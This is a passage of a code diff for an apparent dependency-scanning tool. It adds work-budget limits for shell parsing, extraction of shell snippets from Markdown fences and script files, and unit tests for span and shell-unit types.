tuple[DependencySourceLimitation, ...] = () applicable_spans: tuple[DependencySourceSpan, ...] = () inspected_spans: tuple[DependencySourceSpan, ...] = () + shell_work_items: tuple[ShellWorkItem, ...] = () + shell_issues: tuple[ShellIssue, ...] = () ledger_exhaustion: DependencyWorkExhaustion | None = None def __post_init__(self) -> None: @@ -329,6 +885,8 @@ def __post_init__(self) -> None: limitations = tuple(self.limitations) applicable_spans = tuple(self.applicable_spans) inspected_spans = tuple(self.inspected_spans) + shell_work_items = tuple(self.shell_work_items) + shell_issues = tuple(self.shell_issues) if not all(isinstance(finding, Finding) for finding in findings): raise ValueError("findings must contain Finding values") if not all(isinstance(item, DependencySourceLimitation) for item in limitations): @@ -337,6 +895,10 @@ def __post_init__(self) -> None: raise ValueError("applicable_spans must contain DependencySourceSpan values") if not all(isinstance(item, DependencySourceSpan) for item in inspected_spans): raise ValueError("inspected_spans must contain DependencySourceSpan values") + if not all(isinstance(item, ShellWorkItem) for item in shell_work_items): + raise ValueError("shell_work_items must contain ShellWorkItem values") + if not all(isinstance(item, ShellIssue) for item in shell_issues): + raise ValueError("shell_issues must contain ShellIssue values") if self.ledger_exhaustion is not None and not isinstance( self.ledger_exhaustion, DependencyWorkExhaustion ): @@ -345,6 +907,8 @@ def __post_init__(self) -> None: object.__setattr__(self, "limitations", limitations) object.__setattr__(self, "applicable_spans", applicable_spans) object.__setattr__(self, "inspected_spans", inspected_spans) + object.__setattr__(self, "shell_work_items", shell_work_items) + object.__setattr__(self, "shell_issues", shell_issues) def finding_from_source_change(change: SourceChange) -> Finding: @@ -398,6 +962,9 @@ def ledger_metrics(self) -> dict[str, int]: if self.resource in { DependencyWorkResource.PHYSICAL_BYTES, DependencyWorkResource.RETAINED_LITERAL_BYTES, + DependencyWorkResource.SHELL_PARSED_REVISIT_BYTES, + DependencyWorkResource.SHELL_PARSED_BYTES, + DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES, }: prefix = "bytes" elif self.resource in { @@ -405,7 +972,10 @@ def ledger_metrics(self) -> dict[str, int]: DependencyWorkResource.FINDING_OUTPUT_RECORDS, }: prefix = "findings" - elif self.resource is DependencyWorkResource.DEPTH: + elif self.resource in { + DependencyWorkResource.DEPTH, + DependencyWorkResource.SHELL_NESTED_DEPTH, + }: prefix = "depth" else: prefix = "records" @@ -419,12 +989,27 @@ def ledger_metrics(self) -> dict[str, int]: DependencyWorkResource.EMITTED_CHANGES: MAX_DEPENDENCY_SOURCE_CHANGES, DependencyWorkResource.FINDING_OUTPUT_RECORDS: MAX_DEPENDENCY_FINDING_OUTPUT_RECORDS, DependencyWorkResource.LEDGER_EVENTS: MAX_DEPENDENCY_LEDGER_EVENTS, + DependencyWorkResource.SHELL_PARSED_BYTES: MAX_DEPENDENCY_SHELL_PARSED_BYTES, + DependencyWorkResource.RETAINED_SHELL_IR: MAX_DEPENDENCY_RETAINED_SHELL_IR, + DependencyWorkResource.SHELL_LOCALIZED_ISSUES: MAX_DEPENDENCY_SHELL_LOCALIZED_ISSUES, } _FILE_LIMITS: Final[dict[DependencyWorkResource, int]] = { DependencyWorkResource.PHYSICAL_BYTES: MAX_DEPENDENCY_FILE_BYTES, DependencyWorkResource.YAML_ALIASES: MAX_DEPENDENCY_YAML_ALIASES, DependencyWorkResource.DEPTH: MAX_DEPENDENCY_CONFIG_DEPTH, + DependencyWorkResource.SHELL_UNITS: MAX_DEPENDENCY_SHELL_UNITS_PER_FILE, + DependencyWorkResource.SHELL_PARSER_CALLS: MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE, + DependencyWorkResource.SHELL_SOURCE_MAP_ENTRIES: MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE, + DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES: MAX_DEPENDENCY_SHELL_VALUE_BYTES_PER_FILE, } +_DYNAMIC_FILE_RESOURCES: Final = frozenset({DependencyWorkResource.SHELL_PARSED_REVISIT_BYTES}) +_UNIT_RESOURCES: Final = frozenset( + { + DependencyWorkResource.SHELL_CST_VISITS, + DependencyWorkResource.SHELL_NESTED_DEPTH, + DependencyWorkResource.RETAINED_SHELL_IR, + } +) class DependencyWorkBudget: @@ -451,6 +1036,7 @@ def __init__( self._used[DependencyWorkResource.LEDGER_EVENTS] = existing_ledger self._truncation_slot_available = existing_ledger < MAX_DEPENDENCY_LEDGER_EVENTS self._truncation_slot_claimed = False + self._shell_truncation_slot_claimed = False self._file_budgets: dict[str, DependencyFileBudget] = {} @classmethod @@ -590,6 +1176,32 @@ def claim_reserved_truncation_event(self) -> LedgerTruncationClaimStatus: self._truncation_slot_claimed = True return LedgerTruncationClaimStatus.CLAIMED + def charge_shell_issues(self, count: int) -> DependencyWorkExhaustion | None: + """Reserve localized issues while preserving one scan-wide truncation issue.""" + value = _require_nonnegative_integer(count, "count") + resource = DependencyWorkResource.SHELL_LOCALIZED_ISSUES + current = self._used[resource] + reserved = 0 if self._shell_truncation_slot_claimed else 1 + observed_with_reserve = current + value + reserved + limit = _SCAN_LIMITS[resource] + if observed_with_reserve > limit: + return DependencyWorkExhaustion(resource, observed_with_reserve, limit) + self._used[resource] = current + value + return None + + def claim_reserved_shell_truncation_issue(self) -> ShellTruncationClaimStatus: + """Claim the one localized issue slot reserved for shell truncation.""" + resource = DependencyWorkResource.SHELL_LOCALIZED_ISSUES + current = self._used[resource] + limit = _SCAN_LIMITS[resource] + if self._shell_truncation_slot_claimed: + return ShellTruncationClaimStatus.ALREADY_CLAIMED + if current >= limit: + return ShellTruncationClaimStatus.NO_CAPACITY + self._used[resource] = current + 1 + self._shell_truncation_slot_claimed = True + return ShellTruncationClaimStatus.CLAIMED + @dataclass(slots=True) class DependencyFileBudget: @@ -598,15 +1210,35 @@ class DependencyFileBudget: _root: DependencyWorkBudget path: str _used: dict[DependencyWorkResource, int] = field( - default_factory=lambda: dict.fromkeys(_FILE_LIMITS, 0) + default_factory=lambda: dict.fromkeys((*_FILE_LIMITS, *_DYNAMIC_FILE_RESOURCES), 0) ) + _shell_file_size: int | None = None + _unit_used: dict[tuple[str, DependencyWorkResource], int] = field(default_factory=dict) def used(self, resource: DependencyWorkResource) -> int: normalized = DependencyWorkResource(resource) - if normalized in _FILE_LIMITS: + if normalized in _FILE_LIMITS or normalized in _DYNAMIC_FILE_RESOURCES: return self._used[normalized] + if normalized in _UNIT_RESOURCES: + raise ValueError("resource requires a shell unit") return self._root.used(normalized) + def _validate_unit(self, unit: ShellUnit) -> None: + if not isinstance(unit, ShellUnit) or unit.origin_span.path != self.path: + raise ValueError("shell unit must belong to this normalized file budget") + + def used_for_unit( + self, + unit: ShellUnit, + resource: DependencyWorkResource, + ) -> int: + """Return persistent accounting for one opaque unit identity.""" + self._validate_unit(unit) + normalized = DependencyWorkResource(resource) + if normalized not in _UNIT_RESOURCES: + raise ValueError("resource is not tracked per shell unit") + return self._unit_used.get((unit.unit_id, normalized), 0) + def _charge_local( self, resource: DependencyWorkResource, @@ -636,6 +1268,120 @@ def observe_depth(self, depth: int) -> DependencyWorkExhaustion | None: self._used[resource] = max(self._used[resource], value) return None + def charge_shell_units(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge_local(DependencyWorkResource.SHELL_UNITS, count) + + def charge_source_map_entries(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge_local(DependencyWorkResource.SHELL_SOURCE_MAP_ENTRIES, count) + + def register_shell_file_size(self, size_bytes: int) -> None: + """Record canonical physical size without recharging the shared byte counter.""" + size = _require_nonnegative_integer(size_bytes, "size_bytes") + if size > MAX_DEPENDENCY_FILE_BYTES: + raise ValueError("shell file exceeds the existing physical byte limit") + if self._shell_file_size is not None and self._shell_file_size != size: + raise ValueError("shell file size cannot change during one scan") + self._shell_file_size = size + + def reserve_shell_parse(self, parsed_bytes: int) -> DependencyWorkExhaustion | None: + """Atomically reserve one parser call plus file and scan parsed bytes.""" + value = _require_nonnegative_integer(parsed_bytes, "parsed_bytes") + if self._shell_file_size is None: + raise ValueError("shell file size must be registered before parsing") + calls = DependencyWorkResource.SHELL_PARSER_CALLS + revisits = DependencyWorkResource.SHELL_PARSED_REVISIT_BYTES + aggregate = DependencyWorkResource.SHELL_PARSED_BYTES + next_calls = self._used[calls] + 1 + next_revisits = self._used[revisits] + value + revisit_limit = self._shell_file_size * DEPENDENCY_SHELL_PARSED_BYTE_REVISIT_FACTOR + next_aggregate = self._root._used[aggregate] + value + if next_calls > MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE: + return DependencyWorkExhaustion( + calls, next_calls, MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE + ) + if next_revisits > revisit_limit: + return DependencyWorkExhaustion(revisits, next_revisits, revisit_limit) + if next_aggregate > MAX_DEPENDENCY_SHELL_PARSED_BYTES: + return DependencyWorkExhaustion( + aggregate, next_aggregate, MAX_DEPENDENCY_SHELL_PARSED_BYTES + ) + self._used[calls] = next_calls + self._used[revisits] = next_revisits + self._root._used[aggregate] = next_aggregate + return None + + def charge_shell_cst_visits( + self, + unit: ShellUnit, + count: int, + ) -> DependencyWorkExhaustion | None: + """Charge visits against a persistent size-derived unit ceiling.""" + self._validate_unit(unit) + value = _require_nonnegative_integer(count, "count") + resource = DependencyWorkResource.SHELL_CST_VISITS + key = (unit.unit_id, resource) + current = self._unit_used.get(key, 0) + limit = DEPENDENCY_SHELL_CST_VISIT_FACTOR * len(unit.raw_bytes) + ( + DEPENDENCY_SHELL_CST_VISIT_BASE + ) + observed = current + value + if observed > limit: + return DependencyWorkExhaustion(resource, observed, limit) + self._unit_used[key] = observed + return None + + def observe_shell_nested_depth( + self, + unit: ShellUnit, + depth: int, + ) -> DependencyWorkExhaustion | None: + """Persist the deepest literal-shell nesting observed for one unit.""" + self._validate_unit(unit) + value = _require_nonnegative_integer(depth, "depth") + resource = DependencyWorkResource.SHELL_NESTED_DEPTH + if value > MAX_DEPENDENCY_SHELL_NESTED_LITERAL_DEPTH: + return DependencyWorkExhaustion( + resource, value, MAX_DEPENDENCY_SHELL_NESTED_LITERAL_DEPTH + ) + key = (unit.unit_id, resource) + self._unit_used[key] = max(self._unit_used.get(key, 0), value) + return None + + def charge_retained_shell_ir( + self, + unit: ShellUnit, + count: int, + ) -> DependencyWorkExhaustion | None: + """Charge scan-wide retained IR while preserving per-unit accounting.""" + self._validate_unit(unit) + value = _require_nonnegative_integer(count, "count") + resource = DependencyWorkResource.RETAINED_SHELL_IR + next_global = self._root._used[resource] + value + limit = _SCAN_LIMITS[resource] + if next_global > limit: + return DependencyWorkExhaustion(resource, next_global, limit) + key = (unit.unit_id, resource) + self._root._used[resource] = next_global + self._unit_used[key] = self._unit_used.get(key, 0) + value + return None + + def reserve_shell_value_bytes(self, count: int) -> DependencyWorkExhaustion | None: + """Atomically charge global literals and this file's shell values.""" + value = _require_nonnegative_integer(count, "count") + global_resource = DependencyWorkResource.RETAINED_LITERAL_BYTES + file_resource = DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES + next_global = self._root._used[global_resource] + value + next_file = self._used[file_resource] + value + global_limit = _SCAN_LIMITS[global_resource] + file_limit = _FILE_LIMITS[file_resource] + if next_file > file_limit: + return DependencyWorkExhaustion(file_resource, next_file, file_limit) + if next_global > global_limit: + return DependencyWorkExhaustion(global_resource, next_global, global_limit) + self._root._used[global_resource] = next_global + self._used[file_resource] = next_file + return None + def charge_config_nodes(self, count: int) -> DependencyWorkExhaustion | None: return self._root.charge_config_nodes(count) @@ -672,3 +1418,9 @@ def charge_ledger_events(self, count: int) -> DependencyWorkExhaustion | None: def claim_reserved_truncation_event(self) -> LedgerTruncationClaimStatus: return self._root.claim_reserved_truncation_event() + + def charge_shell_issues(self, count: int) -> DependencyWorkExhaustion | None: + return self._root.charge_shell_issues(count) + + def claim_reserved_shell_truncation_issue(self) -> ShellTruncationClaimStatus: + return self._root.claim_reserved_shell_truncation_issue() diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py index b07da11c..5ef42c34 100644 --- a/src/skillspector/shell_frontend.py +++ b/src/skillspector/shell_frontend.py @@ -1,14 +1,16 @@ # SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -"""Exact-pinned, bounded Tree-sitter Bash parser runtime boundary. +"""Exact-pinned parser boundary and bounded shell-unit extraction. This module intentionally contains no shell lowering or package-manager policy. """ from __future__ import annotations +from bisect import bisect_right from collections.abc import Callable +from dataclasses import dataclass from enum import StrEnum from functools import cache from importlib import import_module @@ -17,12 +19,494 @@ from typing import TYPE_CHECKING, Any, Final, cast from warnings import catch_warnings, filterwarnings +from skillspector.dependency_source_types import ( + MAX_DEPENDENCY_SHELL_UNITS_PER_FILE, + MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE, + DependencyFileBudget, + DependencyWorkBudget, + DependencyWorkExhaustion, + DependencyWorkResource, + ShellDialect, + ShellExtractionResult, + ShellIssue, + ShellIssueReason, + ShellTruncationClaimStatus, + ShellUnit, + ShellUnitKind, + ShellWorkOutcome, + SiteProvenance, + SourceMap, + SourceMapEntry, + SourceSpan, +) + if TYPE_CHECKING: from tree_sitter import Language, Parser, Tree EXPECTED_BASH_ABI_VERSION: Final = 15 EXPECTED_BASH_SEMANTIC_VERSION: Final = (0, 25, 1) MAX_TREE_SITTER_READ_BYTES: Final = 4_096 +_MARKDOWN_SUFFIXES: Final = frozenset({".md", ".markdown", ".mdown", ".mkd"}) +_UNSUPPORTED_SHELL_SUFFIXES: Final = frozenset({".zsh", ".envrc", ".ksh"}) +_SUPPORTED_FENCE_DIALECTS: Final = { + b"bash": ShellDialect.BASH, + b"sh": ShellDialect.SH, + b"shell-script": ShellDialect.SH, + b"console": ShellDialect.SH, +} +_SUPPORTED_SHEBANG_DIALECTS: Final = { + b"bash": ShellDialect.BASH, + b"sh": ShellDialect.SH, + b"dash": ShellDialect.DASH, +} +_UNSUPPORTED_SHEBANG_NAMES: Final = frozenset({b"zsh", b"ksh"}) + + +@dataclass(frozen=True, slots=True) +class _PhysicalLine: + start: int + content_end: int + full_end: int + number: int + + +def _physical_lines(raw: bytes) -> tuple[_PhysicalLine, ...]: + """Split only CRLF, LF, and lone CR physical boundaries.""" + lines: list[_PhysicalLine] = [] + line_start = 0 + line_number = 1 + cursor = 0 + while cursor < len(raw): + byte = raw[cursor] + if byte == 13: + full_end = cursor + (2 if cursor + 1 < len(raw) and raw[cursor + 1] == 10 else 1) + elif byte == 10: + full_end = cursor + 1 + else: + cursor += 1 + continue + lines.append(_PhysicalLine(line_start, cursor, full_end, line_number)) + line_start = full_end + line_number += 1 + cursor = full_end + lines.append(_PhysicalLine(line_start, len(raw), len(raw), line_number)) + return tuple(lines) + + +def _line_starts(lines: tuple[_PhysicalLine, ...]) -> tuple[int, ...]: + return tuple(line.start for line in lines) + + +def _span_for_bytes( + path: str, + starts: tuple[int, ...], + start_byte: int, + end_byte: int, +) -> SourceSpan: + """Build an inclusive-line span around an exact half-open byte range.""" + start_index = max(0, bisect_right(starts, start_byte) - 1) + if end_byte > start_byte: + end_index = max(0, bisect_right(starts, end_byte - 1) - 1) + end_column = end_byte - starts[end_index] + else: + end_index = start_index + end_column = start_byte - starts[start_index] + return SourceSpan( + path, + start_byte, + end_byte, + start_index + 1, + end_index + 1, + start_column=start_byte - starts[start_index], + end_column=end_column, + ) + + +def _normalized_path(path: object) -> str: + probe = SourceSpan( + path, # type: ignore[arg-type] + 0, + 0, + 1, + 1, + start_column=0, + end_column=0, + ) + if probe.path != path: + raise ValueError("path must already be normalized") + return probe.path + + +def _path_suffix(path: str) -> str: + basename = path.rsplit("/", 1)[-1].casefold() + dot = basename.rfind(".") + return basename[dot:] if dot >= 0 else "" + + +def _is_unsupported_executable_path( + path: str, + raw: bytes, + lines: tuple[_PhysicalLine, ...], +) -> bool: + basename = path.rsplit("/", 1)[-1] + suffix = _path_suffix(path) + if suffix in _UNSUPPORTED_SHELL_SUFFIXES: + return True + if basename == "Dockerfile" or basename.startswith("Dockerfile."): + for line in lines: + content = raw[line.start : line.content_end].lstrip(b" \t") + if content[:3].lower() == b"run" and (len(content) == 3 or content[3] in {9, 32}): + return True + return False + if basename in {"Makefile", "makefile", "GNUmakefile"} or suffix == ".mk": + return any(raw[line.start : line.content_end].startswith(b"\t") for line in lines) + return False + + +def _shebang_dialect(first_line: bytes) -> tuple[ShellDialect | None, bool]: + if not first_line.startswith(b"#!"): + return None, False + words = first_line[2:].strip(b" \t").split() + if not words: + return None, False + executable = words[0].rsplit(b"/", 1)[-1] + if executable == b"env": + word_index = 1 + if word_index < len(words) and words[word_index] == b"-S": + word_index += 1 + if word_index >= len(words): + return None, False + executable = words[word_index].rsplit(b"/", 1)[-1] + dialect = _SUPPORTED_SHEBANG_DIALECTS.get(executable) + return dialect, executable in _UNSUPPORTED_SHEBANG_NAMES + + +def _fence_opener(line: bytes) -> tuple[int, int, bytes] | None: + indentation = 0 + while indentation < len(line) and line[indentation] == 32: + indentation += 1 + if indentation > 3 or indentation >= len(line): + return None + delimiter = line[indentation] + if delimiter not in {96, 126}: + return None + delimiter_end = indentation + while delimiter_end < len(line) and line[delimiter_end] == delimiter: + delimiter_end += 1 + length = delimiter_end - indentation + if length < 3: + return None + info = line[delimiter_end:].strip(b" \t") + token = info.split(maxsplit=1)[0].lower() if info else b"" + return delimiter, length, token + + +def _is_fence_closer(line: bytes, delimiter: int, minimum_length: int) -> bool: + indentation = 0 + while indentation < len(line) and line[indentation] == 32: + indentation += 1 + if indentation > 3: + return False + delimiter_end = indentation + while delimiter_end < len(line) and line[delimiter_end] == delimiter: + delimiter_end += 1 + return ( + delimiter_end - indentation >= minimum_length and line[delimiter_end:].strip(b" \t") == b"" + ) + + +def _retain_issue( + issues: list[ShellIssue], + issue: ShellIssue, + *, + file_budget: DependencyFileBudget, +) -> bool: + exhaustion = file_budget.charge_shell_issues(1) + if exhaustion is None: + issues.append(issue) + return True + if file_budget.claim_reserved_shell_truncation_issue() is ShellTruncationClaimStatus.CLAIMED: + issues.append( + ShellIssue( + reason=ShellIssueReason.RESOURCE_LIMIT, + outcome=ShellWorkOutcome.PARTIAL, + span=issue.span, + exhaustion=exhaustion, + ) + ) + return False + + +def _resource_issue(span: SourceSpan, exhaustion: DependencyWorkExhaustion) -> ShellIssue: + return ShellIssue( + reason=ShellIssueReason.RESOURCE_LIMIT, + outcome=ShellWorkOutcome.PARTIAL, + span=span, + exhaustion=exhaustion, + ) + + +def _reserve_shell_unit( + file_budget: DependencyFileBudget, + *, + source_map_entries: int, +) -> DependencyWorkExhaustion | None: + next_units = file_budget.used(DependencyWorkResource.SHELL_UNITS) + 1 + next_entries = ( + file_budget.used(DependencyWorkResource.SHELL_SOURCE_MAP_ENTRIES) + source_map_entries + ) + if next_units > MAX_DEPENDENCY_SHELL_UNITS_PER_FILE: + return DependencyWorkExhaustion( + DependencyWorkResource.SHELL_UNITS, + next_units, + MAX_DEPENDENCY_SHELL_UNITS_PER_FILE, + ) + if next_entries > MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE: + return DependencyWorkExhaustion( + DependencyWorkResource.SHELL_SOURCE_MAP_ENTRIES, + next_entries, + MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE, + ) + if exhaustion := file_budget.charge_shell_units(1): + return exhaustion + if exhaustion := file_budget.charge_source_map_entries(source_map_entries): + raise RuntimeError("atomic shell-unit reservation invariant failed") + return None + + +def _append_unit( + units: list[ShellUnit], + issues: list[ShellIssue], + *, + path: str, + raw: bytes, + starts: tuple[int, ...], + unit_start: int, + unit_end: int, + dialect: ShellDialect, + kind: ShellUnitKind, + provenance: SiteProvenance, + file_budget: DependencyFileBudget, + mapped: bool, +) -> bool: + unit_raw = raw[unit_start:unit_end] + invalid_range: tuple[int, int] | None = None + try: + unit_raw.decode("utf-8", errors="strict") + except UnicodeDecodeError as error: + invalid_range = (error.start, max(error.end, error.start + 1)) + entry_count = 1 if invalid_range is None and mapped and unit_raw else 0 + span = _span_for_bytes(path, starts, unit_start, unit_end) + if exhaustion := _reserve_shell_unit(file_budget, source_map_entries=entry_count): + _retain_issue(issues, _resource_issue(span, exhaustion), file_budget=file_budget) + return False + if invalid_range is not None: + invalid_start, invalid_end = invalid_range + invalid_span = _span_for_bytes( + path, + starts, + unit_start + invalid_start, + unit_start + invalid_end, + ) + _retain_issue( + issues, + ShellIssue( + reason=ShellIssueReason.SYNTAX_ERROR, + outcome=ShellWorkOutcome.PARTIAL, + span=invalid_span, + ), + file_budget=file_budget, + ) + return True + source_map = ( + SourceMap( + path=path, + entries=(SourceMapEntry(0, len(unit_raw), unit_start, unit_end),) if unit_raw else (), + child_size_bytes=len(unit_raw), + physical_size_bytes=len(raw), + physical_line_starts=starts, + ) + if mapped + else None + ) + units.append( + ShellUnit( + dialect=dialect, + kind=kind, + provenance=provenance, + raw_bytes=unit_raw, + origin_span=span, + source_map=source_map, + ) + ) + return True + + +def _unsupported_issue(path: str, starts: tuple[int, ...], raw: bytes) -> ShellIssue: + return ShellIssue( + reason=ShellIssueReason.UNSUPPORTED_SEMANTICS, + outcome=ShellWorkOutcome.PARTIAL, + span=_span_for_bytes(path, starts, 0, len(raw)), + ) + + +def _extract_markdown_units( + *, + path: str, + raw: bytes, + lines: tuple[_PhysicalLine, ...], + starts: tuple[int, ...], + file_budget: DependencyFileBudget, +) -> ShellExtractionResult: + units: list[ShellUnit] = [] + issues: list[ShellIssue] = [] + line_index = 0 + while line_index < len(lines): + line = lines[line_index] + opener = _fence_opener(raw[line.start : line.content_end]) + if opener is None: + line_index += 1 + continue + delimiter, minimum_length, token = opener + closer_index: int | None = None + candidate_index = line_index + 1 + while candidate_index < len(lines): + candidate = lines[candidate_index] + if _is_fence_closer( + raw[candidate.start : candidate.content_end], + delimiter, + minimum_length, + ): + closer_index = candidate_index + break + candidate_index += 1 + content_start = line.full_end + content_end = lines[closer_index].start if closer_index is not None else len(raw) + dialect = _SUPPORTED_FENCE_DIALECTS.get(token) + if dialect is not None: + retained = _append_unit( + units, + issues, + path=path, + raw=raw, + starts=starts, + unit_start=content_start, + unit_end=content_end, + dialect=dialect, + kind=ShellUnitKind.MARKDOWN_FENCE, + provenance=SiteProvenance.MARKDOWN_FENCE, + file_budget=file_budget, + mapped=True, + ) + if not retained: + break + if closer_index is None: + issue_span = _span_for_bytes(path, starts, line.start, len(raw)) + unit_id = units[-1].unit_id if units else None + _retain_issue( + issues, + ShellIssue( + reason=ShellIssueReason.SYNTAX_ERROR, + outcome=ShellWorkOutcome.PARTIAL, + span=issue_span, + unit_id=unit_id, + ), + file_budget=file_budget, + ) + elif not token: + _retain_issue( + issues, + ShellIssue( + reason=ShellIssueReason.UNSUPPORTED_SEMANTICS, + outcome=ShellWorkOutcome.PARTIAL, + span=_span_for_bytes(path, starts, line.start, content_end), + ), + file_budget=file_budget, + ) + if closer_index is None: + break + line_index = closer_index + 1 + return ShellExtractionResult(units=tuple(units), issues=tuple(issues)) + + +def extract_shell_units( + path: str, + raw_bytes: bytes, + *, + executable_paths: frozenset[str], + budget: DependencyWorkBudget, +) -> ShellExtractionResult: + """Extract bounded applicable units without interpreting shell commands.""" + normalized_path = _normalized_path(path) + if type(raw_bytes) is not bytes: + raise TypeError("raw_bytes must be canonical immutable bytes") + if not isinstance(executable_paths, frozenset): + raise ValueError("executable_paths must be an immutable set") + if not isinstance(budget, DependencyWorkBudget): + raise ValueError("budget must be a DependencyWorkBudget") + file_budget = budget.for_file(normalized_path) + file_budget.register_shell_file_size(len(raw_bytes)) + lines = _physical_lines(raw_bytes) + starts = _line_starts(lines) + suffix = _path_suffix(normalized_path) + if suffix in _MARKDOWN_SUFFIXES: + return _extract_markdown_units( + path=normalized_path, + raw=raw_bytes, + lines=lines, + starts=starts, + file_budget=file_budget, + ) + if _is_unsupported_executable_path(normalized_path, raw_bytes, lines): + issues: list[ShellIssue] = [] + _retain_issue( + issues, + _unsupported_issue(normalized_path, starts, raw_bytes), + file_budget=file_budget, + ) + return ShellExtractionResult(issues=tuple(issues)) + first_line = raw_bytes[lines[0].start : lines[0].content_end] + shebang_dialect, unsupported_shebang = _shebang_dialect(first_line) + if unsupported_shebang: + issues = [] + _retain_issue( + issues, + _unsupported_issue(normalized_path, starts, raw_bytes), + file_budget=file_budget, + ) + return ShellExtractionResult(issues=tuple(issues)) + dialect = shebang_dialect + provenance = SiteProvenance.SHEBANG + if dialect is None and suffix in {".sh", ".bash"}: + dialect = ShellDialect.BASH if suffix == ".bash" else ShellDialect.SH + provenance = SiteProvenance.FILE_SUFFIX + if dialect is not None: + units: list[ShellUnit] = [] + issues = [] + _append_unit( + units, + issues, + path=normalized_path, + raw=raw_bytes, + starts=starts, + unit_start=0, + unit_end=len(raw_bytes), + dialect=dialect, + kind=ShellUnitKind.STANDALONE, + provenance=provenance, + file_budget=file_budget, + mapped=False, + ) + return ShellExtractionResult(units=tuple(units), issues=tuple(issues)) + if normalized_path in executable_paths: + issues = [] + _retain_issue( + issues, + _unsupported_issue(normalized_path, starts, raw_bytes), + file_budget=file_budget, + ) + return ShellExtractionResult(issues=tuple(issues)) + return ShellExtractionResult() class ShellParserOutcome(StrEnum): diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index b1a7ae45..bac1af8c 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -7,6 +7,7 @@ import dataclasses import importlib +import inspect from collections.abc import Callable from typing import Any @@ -33,6 +34,29 @@ def _span(api: Any) -> Any: ) +def _shell_unit( + api: Any, + *, + path: str = "scripts/setup.sh", + raw: bytes = b"x", +) -> Any: + return api.ShellUnit( + dialect=api.ShellDialect.BASH, + kind=api.ShellUnitKind.STANDALONE, + provenance=api.SiteProvenance.FILE_SUFFIX, + raw_bytes=raw, + origin_span=api.SourceSpan( + path, + 0, + len(raw), + 1, + 1, + start_column=0, + end_column=len(raw), + ), + ) + + def test_source_span_normalizes_relative_posix_path_and_preserves_utf8_byte_offsets() -> None: api = _api() @@ -106,6 +130,398 @@ def test_source_span_rejects_reversed_ranges( ) +def test_source_span_keeps_legacy_positionals_and_adds_keyword_only_byte_columns() -> None: + api = _api() + + legacy = api.SourceSpan("scripts/setup.sh", 0, 6, 1, 1) + exact = api.SourceSpan( + "scripts/setup.sh", + 3, + 6, + 1, + 1, + start_column=3, + end_column=6, + ) + parameters = inspect.signature(api.SourceSpan).parameters + + assert (legacy.start_column, legacy.end_column) == (None, None) + assert (exact.start_column, exact.end_column) == (3, 6) + assert parameters["start_column"].kind is inspect.Parameter.KEYWORD_ONLY + assert parameters["end_column"].kind is inspect.Parameter.KEYWORD_ONLY + + +@pytest.mark.parametrize( + ("start_column", "end_column"), + [(0, None), (None, 0), (-1, 0), (True, 1), (4, 3)], +) +def test_source_span_rejects_incomplete_or_invalid_byte_columns( + start_column: object, + end_column: object, +) -> None: + api = _api() + + with pytest.raises(ValueError): + api.SourceSpan( + "scripts/setup.sh", + 0, + 1, + 1, + 1, + start_column=start_column, + end_column=end_column, + ) + + +def test_shell_contracts_are_frozen_code_owned_and_privacy_safe() -> None: + api = _api() + secret = b"credential-8f42c" + unit = _shell_unit(api, raw=secret) + exact = api.StaticValue.exact(secret) + command = api.CommandSite( + unit_id=unit.unit_id, + provenance=api.SiteProvenance.FILE_SUFFIX, + span=unit.origin_span, + argv=[exact, api.StaticValue.unknown()], + ) + assignment = api.AssignmentSite( + unit_id=unit.unit_id, + provenance=api.SiteProvenance.FILE_SUFFIX, + span=unit.origin_span, + name="REGISTRY", + value=exact, + ) + generated = api.GeneratedConfig( + unit_id=unit.unit_id, + provenance=api.SiteProvenance.GENERATED_CONFIG, + span=unit.origin_span, + target=api.StaticValue.unbound(), + content=exact, + ) + + assert {item.value for item in api.ShellDialect} == {"bash", "sh", "dash"} + assert command.argv == (exact, api.StaticValue.unknown()) + assert secret.decode() not in repr(unit) + assert secret.decode() not in repr(exact) + assert secret.decode() not in repr(command) + assert secret.decode() not in repr(assignment) + assert secret.decode() not in repr(generated) + with pytest.raises(dataclasses.FrozenInstanceError): + unit.raw_bytes = b"changed" + with pytest.raises(TypeError): + api.ShellUnit( + unit_id="caller-chosen", + dialect=api.ShellDialect.BASH, + kind=api.ShellUnitKind.STANDALONE, + provenance=api.SiteProvenance.FILE_SUFFIX, + raw_bytes=b"x", + origin_span=unit.origin_span, + ) + + +def test_shell_unit_ids_are_deterministic_opaque_coordinates_not_content_hashes() -> None: + api = _api() + first = _shell_unit(api, raw=b"a") + repeated = _shell_unit(api, raw=b"b") + shifted = api.ShellUnit( + dialect=api.ShellDialect.BASH, + kind=api.ShellUnitKind.STANDALONE, + provenance=api.SiteProvenance.FILE_SUFFIX, + raw_bytes=b"b", + origin_span=api.SourceSpan( + "scripts/setup.sh", + 1, + 2, + 1, + 1, + start_column=1, + end_column=2, + ), + ) + different_origin_kind = api.ShellUnit( + dialect=api.ShellDialect.BASH, + kind=api.ShellUnitKind.NESTED_LITERAL, + provenance=api.SiteProvenance.NESTED_LITERAL, + raw_bytes=b"c", + origin_span=first.origin_span, + ) + + assert first.unit_id == repeated.unit_id + assert shifted.unit_id != first.unit_id + assert different_origin_kind.unit_id != first.unit_id + assert len(first.unit_id) == 32 + assert set(first.unit_id) <= set("0123456789abcdef") + + +@pytest.mark.parametrize("dialect", ["bash", "fish", object()]) +def test_shell_unit_rejects_free_form_dialects(dialect: object) -> None: + api = _api() + + with pytest.raises(ValueError, match="code-owned"): + api.ShellUnit( + dialect=dialect, + kind=api.ShellUnitKind.STANDALONE, + 